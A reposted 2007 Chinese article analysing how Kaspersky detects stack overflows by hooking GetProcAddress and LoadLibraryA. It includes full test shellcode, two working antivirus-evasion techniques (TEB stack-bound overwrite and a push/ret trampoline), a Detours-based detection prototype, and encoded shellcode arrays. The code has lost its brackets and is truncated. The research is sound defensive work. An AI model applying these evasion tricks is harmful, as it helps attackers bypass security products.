基于栈指纹检测缓冲区溢出的一点思路.doc_第1页
基于栈指纹检测缓冲区溢出的一点思路.doc_第2页
基于栈指纹检测缓冲区溢出的一点思路.doc_第3页
基于栈指纹检测缓冲区溢出的一点思路.doc_第4页
基于栈指纹检测缓冲区溢出的一点思路.doc_第5页
已阅读5页,还剩4页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

【转载】基于栈指纹检测缓冲区溢出的一点思路标题:【原创】基于栈指纹检测缓冲区溢出的一点思路作者:孤烟逐云时间:2007-08-08,13:48:42链接:基于栈指纹检测缓冲区溢出的一点思路Author:gyzy Email: Homepage:Date:2007-08-08带图片的PDF版本及随文工程见附件一.现有的检测栈溢出的模式二.现有检测体系存在的不足三.针对引擎要做的改进四.关于未来引言当前主动防御等的概念逐渐进入人们视野,国外主流的杀毒软件都有栈溢出的检测模块,尽管相对传统的木马和病毒来说,缓冲区溢出仍占攻击的很小一部分,但是基于传统的木桶理论,安全是一个整体,威胁还是无处不在。现有的栈溢出检测模式整篇文章我都以Kaspersky Internet Security(KIS 6)作为例子,KIS7中这一部分并无大的改进。以下是测试用的Shellcode:_asm/*-解码开始-*/jmp decode_end decode_start:pop edx/得到解码开始位置esp-edx dec edx xor ecx,ecx mov cx,0x13D/要解码的长度decode_loop:xor byte ptredx+ecx,0x99 loop decode_loop jmp decode_ok decode_end:call decode_start decode_ok:/*-解码结束-*/jmp end start:pop edx/指令表起始地址存放在esp-edx/=从PEB中取得KERNEL32.DLL的起始地址=/输入:/edx=指令表起始地址(不需要)/输出:/eax=kernel32.dll起始地址/edx=指令表起始地址mov eax,fs:0x30/PEB mov eax,eax+0x0c/PROCESS_MODULE_INFO mov esi,eax+0x1c/InInitOrder.flink lodsd mov eax,eax+8/=定位GetProcAddress的地址=/输入:/eax=kernel32.dll起始地址/edx=指令表起始地址/输出:/ebx=kernel32.dll起始地址/eax=GetProcAddress地址/edx=指令表起始地址mov ebx,eax/取kernel32.dll的起始地址DLL Base Address mov esi,dword ptrebx+3Ch/esi=PE header offset mov esi,dword ptresi+ebx+78hadd esi,ebx/esi=exports directory table mov edi,dword ptresi+20hadd edi,ebx/edi=name pointers table mov ecx,dword ptresi+14h/ecx=number of name pointers xor ebp,ebp push esi search_GetProcAddress:push edi push ecx mov edi,dword ptrediadd edi,ebx/把输出函数名表起始地址存人edi mov esi,edx/指令表起始地址存入esi/mov ecx,0Eh/函数getprocAddress长度为0Eh push 0xE pop ecx repe cmps byte ptresi,byte ptredije search_GetProcAddress_ok pop ecx pop edi add edi,4 inc ebp loop search_GetProcAddress search_GetProcAddress_ok:pop ecx pop edi pop esi mov ecx,ebp mov eax,dword ptresi+0x24add eax,ebx shl ecx,1 add eax,ecx xor ecx,ecx mov cx,word ptreaxmov eax,dword ptresi+0x1Cadd eax,ebx shl ecx,2 add eax,ecx mov eax,dword ptreaxadd eax,ebx/=调用函数解决api地址=/输入:/ebx=kernel32.dll起始地址/eax=GetProcAddress地址/edx=指令表起始地址/输出:/edi=函数地址base addr/esi=指令表当前位置/edx=GetProcAddress地址mov edi,edx mov esi,edi add esi,0xE/0xE跳过1个字符串GetProcAddress32177368/=解决kernel32.dll中的函数地址=mov edx,eax/把GetProcAddress地址存放在edx/mov ecx,0x5/需要解决的函数地址的个数push 0x2 pop ecx call locator_api_addr/=加载user32.dll=add esi,0xd/硬编码可以节省两个字节push edx/edx是GetProcAddress地址push esi/字符urlmon地址/mov dword ptr fs:4,0x0012FFFF/mov dword ptr fs:8,0x0012FFFF call dword ptredi-4/LoadLibraryA/=解决函数地址=pop edx mov ebx,eax/将urlmon.dll起始地址存放在ebx/mov ecx,1/函数个数push 0x1 pop ecx/函数个数-这种方式省两个字节call locator_api_addr/取得一些空间存放系统路径sub esp,0x20 mov ebx,esp/MessageBox的参数mov dword ptrebx,0x797a7967/yzygmov dword ptrebx+0x4,0x 00000000/00push 0push ebx push ebx push 0calledi-0x4/MessageBoxA/ExitProcess push eax call dword ptredi-0x0c/ExitProcess/=解决api地址的函数=/输入参数:/ecx函数个数/edx GetProcAddress地址/ebx输出函数的dll起始地址/esi函数名表起始地址/edi保存函数地址的起始地址locator_api_addr:locator_space:xor eax,eax lodsb test eax,eax/寻找函数名之间的空格x00 jne locator_space pu sh ecx push edx push esi/函数名push ebx/输出函数的dll起始地址/mov dword ptr fs:4,0x0012FFFF/mov dword ptr fs:8,0x0012FFFF call edx pop edx pop ecx stos dword ptrediloop locator_space xor eax,eax ret/=结束调用=end:call start通过这个简单的Shellcode可以窥探到卡巴对于栈溢出的检测模式,通过将shellcode拷贝到栈中执行的方式也模拟栈溢出,期间KIS共弹出了5次Buffer Overrun的警告,从Shellcode中大致可以推断出被Hook的函数是GetProcAddress(4次)和LoadLibraryA(1次),如图1 screen.width*0.6)this.width=screen.width*0.6;this.alt=;this.onmouseover=this.style.cursor=pointer;this.onclick=function()window.open(border=0以下是GetProcAddress的反汇编代码:7C883FEC 55 PUSH EBP 7C883FED 8BEC MOV EBP,ESP 7C883FEF 90 NOP 7C883FF0 5D POP EBP 7C883FF1-E9 997EFF75 JMP F287BE8F 7C883FF6 90 NOP 7C883FF7 90 NOP很明显GetProcAddress被Hook了,LoadLibrary系列函数也是一样,那么究竟卡巴是如何检测栈溢出的产生的呢,再看它的驱动:lkd uf287BE8F f287be8f 8b 442404 mov eax,dword ptresp+4f287be93 56 push esi f287be94 8b74240c mov esi,dword ptresp+0Chf287be98 6a00 push 0f287be9a 56 push esi f287be9b 6880be87f2 push 0F287BE80h f287bea0 8d4c2414 lea ecx,esp+14hf287bea4 50 push eax lkd uf287bea5 51 push ecx f287bea6 e8f5f3ffff call f287b2a0 f287beab 84c0 test al,al f287bead 7410 je f287bebf f287beaf 6a05 push 5f287beb1 33f6 xor esi,esi f287beb3 ff159cc087f2 call dword ptr ds:0F287C09Chf287beb9 8bc6 mov eax,esi lkd uf287bebb 5e pop esi f287bebc c20800 ret 8f287bebf 688fbe87f2 push 0F287BE8Fh f287bec4 e807f6ffff call f287b4d0 f287bec9 8d1440 lea edx,eax+eax*2f287becc 56 push esi f287becd 8b44 240c mov eax,dword ptresp+0Chf287bed1 50 push eax lkd uf287b2a0 f287b2a0 8b 442408 mov eax,dword ptresp+8f287b2a4 8b 542404 mov edx,dword ptresp+4f287b2a8 56 push esi f287b2a9 8d4c240c lea ecx,esp+0Chf287b2ad 50 push eax f287b2ae 51 push ecx f287b2af 52 push edx f287b2b0 e8fbfdffff call f287b0b0 lkd uf287b0b0 f287b0b0 55 push ebp f287b0b1 8bec mov ebp,esp f287b0b3 83ec24 sub esp,24h f287b0b6 64a 104000000 mov eax,dword ptr fs:00000004 hf287b0bc 8945f8 mov dword ptrebp-8,eax f287b0bf 64a 108000000 mov eax,dword ptr fs:00000008 hf287b0c5 8945fc mov dword ptrebp-4,eax f287b0c8 8b4508 mov eax,dword ptrebp+8lkd uf287b0cb 8b4d0c mov ecx,dword ptrebp+0Chf287b0ce 8b50fc mov edx,dword ptreax-4f287b0d1 8b45fc mov eax,dword ptrebp-4f287b0d4 3bd0 cmp edx,eax f287b0d6 8911 mov dword ptrecx,edx f287b0d8 7210 jb f287b0ea f287b0da 3b55f8 cmp edx,dword ptrebp-8f287b0dd 730b jae f287b0ea lkd uf287b0df b8e 7030000 mov eax,3E7h f287b0e4 8be5 mov es p,ebp f287b0e6 5d pop ebp f287b0e7 c20c00 ret 0Ch f287b0ea 8b4510 mov eax,dword ptrebp+10hf287b0ed 3d 00000068 cmp eax,68000000 hf287b0f2 0f829e 000000 jb f287b196 f287b0f8 3d 00000065 cmp eax,65000000 h其中f287b0d4处的几条比较指令可能就是判断溢出与否的关键,上面有两条指令也特别值得注意:mov eax,dword ptr fs:00000004 hmov eax,dword ptr fs:00000008 h以下是TEB的数据结构:typedef struct _TEB/Size:0xF88/*000*/NT_TIB NtTib;/*01C*/VOID*EnvironmentPointer;/*020*/CLIENT_ID ClientId;/PROCESS id,THREAD id/*028*/HANDLE ActiveRpcHandle;/*02C*/VOID*ThreadLocalStoragePointer;/*030*/PEB*ProcessEnvironmentBlock;/PEB/*034*/ULONG LastErrorValue;/*038*/ULONG CountOfOwnedCriticalSections;/*03C*/ULONG CsrClientThread;/*040*/ULONG Win32ThreadInfo;/*044*/UCHAR Win32ClientInfo0x7C;/*0C0*/ULONG WOW32Reserved;/*0C4*/ULONG CurrentLocale;/*0C8*/ULONG FpSoftwareStatusRegister;/*0CC*/UCHAR SystemReserved10xD8;/ExitStack?/*1A4*/ULONG Spare1;/*1A8*/ULONG ExceptionCode;/*1AC*/UCHAR SpareBytes10x28;/*1D4*/UCHAR SystemReserved20x28;/*1FC*/UCHAR GdiTebBatch0x4E0;/*6DC*/ULONG gdiRgn;/*6E0*/ULONG gdiPen;/*6E4*/ULONG gdiBrush;/*6E8*/CLIENT_ID RealClientId;/*6F0*/ULONG GdiCachedProcessHandle;/*6F4*/ULONG GdiClientPID;/*6F8*/ULONG GdiClientTID;/*6FC*/ULONG GdiThreadLocalInfo;/*700*/UCHAR UserReserved0x14;/*714*/UCHAR glDispatchTable0x460;/*B74*/UCHAR glReserved10x68;/*BDC*/ULONG glReserved2;/*BE0*/ULONG glSectionInfo;/*BE4*/ULONG glSection;/*BE8*/ULONG glTable;/*BEC*/ULONG glCurrentRC;/*BF0*/ULONG glContext;/*BF4*/ULONG LastStatusValue;/*BF8*/LARGE_INTEGER StaticUnicodeString;/*C00*/UCHAR StaticUnicodeBuffer0x20C;/*E0C*/ULONG DeallocationStack;/*E10*/UCHAR TlsSlots0x100;/*F10*/LARGE_INTEGER TlsLinks;/*F18*/ULONG Vdm;/*F1C*/ULONG ReservedForNtRpc;/*F20*/LARGE_INTEGER DbgSsReserved;/*F28*/ULONG HardErrorsAreDisabled;/*F2C*/UCHAR Instrumentation0x40;/*F6C*/ULONG WinSockData;/*F70*/ULONG GdiBatchCount;/*F74*/ULONG Spare2;/*F78*/ULONG Spare3;/*F7C*/ULONG Spare4;/*F80*/ULONG ReservedForOle;/*F84*/ULONG WaitingOnLoaderLock;TEB,*PTEB;typedef struct _NT_TIBstruct _EXCEPTION_REGISTRATION_RECORD*ExceptionList;/00h Head of exception/record list PVOID StackBase;/04h PVOID StackLimit;/08h PVOID SubSystemTib;/0Ch union/10h PVOID FiberData;/for TIB ULONG Version;/for TEB;PVOID ArbitraryUserPointer;/14h Available/for application use struct _NT_TIB*Self;/18h Linear address/of TEB structureNT_TIB;typedef NT_TIB*PNT_TIB;Fs:4和Fs:8分别是当前线程的栈基址和栈顶,现在思路就比较明朗了,卡巴就是通过检测GetProcAddress等关键API的返回地址是否处于栈中来判定栈溢出的发生。现有检测模式的不足既然知道了他的检测模式,那么突破就是轻而易举的事了,有两种思路:修改TEB中Fs:4和Fs:8的值来使卡巴认为返回地址不在栈中.就是上面Shellcode中在call之前注释掉的部分mov dword ptr fs:4,0x0012FFFF和mov dword ptr fs:8,0x0012FFFF。在测试的时候发现使用这一方法能使GetProcAddress绕过卡巴的检测,但是LoadLibrary系列却不行,百思不得其解,若有高人知道,请指教(可能TEB跟线程有关,LoadLibrary涉及到多线程方面的一些问题)。第二种方法就是在内存中找一个相对固定又可写可执行的地址写入push返回地址ret这样一系列的指令,然后再将函数返回地址指向其来绕过卡巴的检测。具体的实现如下:在原来调用API的地方,如call dword ptredi-4/LoadLibraryA使用如下方法来代替:mov edx,dword ptredi-4/LoadLibraryA call gcall其中gcall代码如下:/=绕过缓冲区溢出检查的call=/输入参数:/edx函数地址/0x7C 884000 gcall:pop eax/将真正的返回地址保存到eax mov ecx,0x7C 884000 push ecx mov byte ptrecx,0x68/push指令mov dword ptrecx+1,eax/写入地址mov byte ptrecx+5,0xC3/写入ret指令jmp edx/执行真正的函数0x7C 884000是Kernel32数据段的地址,当然,可以用其它等价的地址替换。再次运行shellcode,卡巴没有任何反应,如图2:screen.width*0.6)this.width=screen.width*0.6;this.alt=;this.onmouseover=this.style.cursor=pointer;this.onclick=function()window.open(border=0针对性的改进在卡巴现有的检测中还是有一个Bug,就是TEB中的栈基址和栈顶数据是不可信的,应当在初始化时保存,而不应每次都去重新获取,当然这种检测机制本身就是不可靠的,需要改进,这就是本文要提出的基于栈指纹检测缓冲区溢出,说白了就是利用特征码+API Hook来更可靠的检测栈溢出的发生,防止迂回绕过我们的检测,因为有一点是肯定的:栈溢出发生时Shellcode是在栈中的,这个想法也是借鉴自反病毒的概念。微软公司在VC7开始提供了一个/GS编译选项来防止栈溢出带来的危害,但是事实证明还是能被绕过,例如:覆盖SEH。笔者认为安全产品做的越前端就越不容易被绕过,比如拦截Shellcode的行为肯定要比拦截溢出的发生有效的多。笔者利用Detour库做了一个检测的模型,代码如下:/dll.cpp:定义DLL应用程序的入口点。/#include windows.h#includedetours.h#include dbt.h DETOUR_TRAMPOLINE(HMODULE WINAPI fLoadLibraryA(LPCTSTR lpFileName),LoadLibraryA);HMODULE WINAPI MyLoadLibraryA(LPCTSTR lpFileName)DWORD stackbase,stacklimit,retaddr;_asmmov eax,dword ptresp+0x1cmov retaddr,eax mov eax,dword ptr fs:4mov stackbase,eax mov eax,dword ptr fs:8mov stacklimit,eaxif(retaddr stacklimit&retaddr stackbase)overflow:MessageBox(0,BufferOverflow Detected!,gyzy,MB_ICONINFORMATION);return NULL;/0x64 0xA1 0x30 0x00 0x00 0x00 _asmpush 0x100 pop ecx mov esi,esp compare:cmp dword ptresi,0x0030A164/检测mov eax,fs:30je overflow inc esi loop comparereturn fLoadLibraryA(lpFileName);BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)switch(ul_reason_for_call)case DLL_PROCESS_ATTACH:DetourFunctionWithTrampoline(PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);break;case DLL_PROCESS_DETACH:DetourRemove(PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);break;return TRUE;这儿只是为了达到演示的目的只挂接了LoadLibraryA,并且配合了卡巴的检测方法,目的是提高检测的效率。这使用的指纹就是mov eax,fs:30,几乎每个Shellcode都会用到来获取Kernel32的基址,当然如果要成为一个商业产品,那无疑需要降低误报的几率,那就需要更可靠的特征码。#include windows.h unsigned char shellcode=xEBx10x5Ax4Ax33xC9x66xB9x21x01x80x34x0Ax99xE2xFAxEBx05xE8xEBxFFxFFxFFx70x45x99x99x99xC3xFDx38xA9x99x99x99x12xD9x95x12xE9x85x34x12xD9x91x12x41x12xEAxA5x12xEDx87xE1x9Ax6Ax12xE7xB9x9Ax62x12xD7x8DxAAx74xCFxCExC8x12xA6x9Ax62x12x6BxF3x97xC0x6Ax3FxEDx91xC0xC6x1Ax5Ex9DxDCx7Bx70xC0xC6xC7x12x54x12xDFxBDx9Ax5Ax48x78x9Ax58xAAx50xFFx12x91x12xDFx85x9Ax5Ax58x78x9Bx9Ax58x12x99x9Ax5Ax12x63x12x6Ex1Ax5Fx97x12x49xF3x9BxC0x71xD8x99x99x99x1Ax5Fx94xCBxCFx12xCEx65x71xD5x99x99x99xC3x12x41xF3x98xC0x71xB0x99x99x99x1Ax75xB9x12x45x5Ex9AxFExE0xE3xE0x5ExDAx9Dx99x99x99x99xF3x99xCAxCAxF3x99x12xCEx65x71xB8x99x99x99xC9x12xCEx6Dx71x81x99x99x99xAAx59x35x1Cx59xECx60xC8xCBxCFxCAx71x91x99x99x99xC3xC0x32x7Bx72xAAx59x 5AxC1x20x99xD9x11xE5xC8x5Fx98xF1x10xD8x98x5FxD8x9Cx5Ax66x7Bx71x86x66x66x66xDExFCxEDxC9xEBxF6xFAxD8xFDxFDxEBxFCxEAxEAx99xDCxE1xF0xEDxC9xEBxF6xFAxFCxEAxEAx99xD5xF6xF8xFDxD5xF0xFBxEBxF8xEBxE0xD8x99xECxEAxFCxEBxAAxABx99xD4xFCxEAxEAxF8xFExFCxDBxF6xE1xD8x99;unsigned char sh2llcode=xEBx10x5Ax4Ax33xC9x66xB9x28x01x80x34x0Ax99xE2xFAxEBx05xE8xEBxFFxFFxFFx70x7Ax99x99x99xC3xFDx38xA9x99x99x99x12xD9x95x12xE9x85x34x12xD9x91x12x41x12xEAxA5x12xEDx87xE1x9Ax6Ax12xE7xB9x9Ax62x12xD7x8DxAAx74xCFxCExC8x12xA6x9Ax62x12x6BxF3x97xC0x6Ax3FxEDx91xC0xC6x1Ax5Ex9DxDCx7Bx70xC0xC6xC7x12x54x12xDFxBDx9Ax5Ax48x78x9Ax58xAAx50xFFx12x91x12xDFx85x9Ax5Ax58x78x9Bx9Ax58x12x99x9Ax5Ax12x63x12x6Ex1Ax5Fx97x12x49xF3x9BxC0x71xD1x99x99x99x1Ax5Fx94xCBxCFxFDx5Ex9Cx9Dx99x99x99x66x66x8Bx99xFDx5Ex9Cx91x99x99x99x66x66x8Bx99x66xCEx65xC3x12x41xF3x98xC0x71x86x99x99x99x1Ax75xB9x12x45x5Ex9AxFExE0xE3xE0x5ExDAx9Dx99x99x99x99xF3x99xCAxCAxF3x99x66xCEx65xC9x66xCEx6DxAAx59x35x1Cx59xECx60xC8xCBxCFxCAxFDx5Ex9Cx9Dx99x99x99x66x66x8Bx99xFDx5Ex9Cx91x99x99x99x66x66x8Bx99x66x4BxC3xC0x32x7Bx41xAAx59x5Ax71x81x66x66x66xDExFCxEDxC9xEBxF6xFAxD8xFDxFDxEBxFCxEAxEAx99xDCxE1xF0xEDxC9xEBxF6xFAxFCxEAxEAx99xD5xF6xF8xFDxD5xF0xFBxEBxF8xEBxE0xD8x99xECxEAxFCxEBxAAxABx99xD4xFCxEAxEAxF8xFExFCxDBxF6xE1xD8x99;unsigned char sh3llcode=xEBx10x5Ax4Ax33xC9x66xB9xFCx00x80x34x0Ax99xE2xFAxEBx05x

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论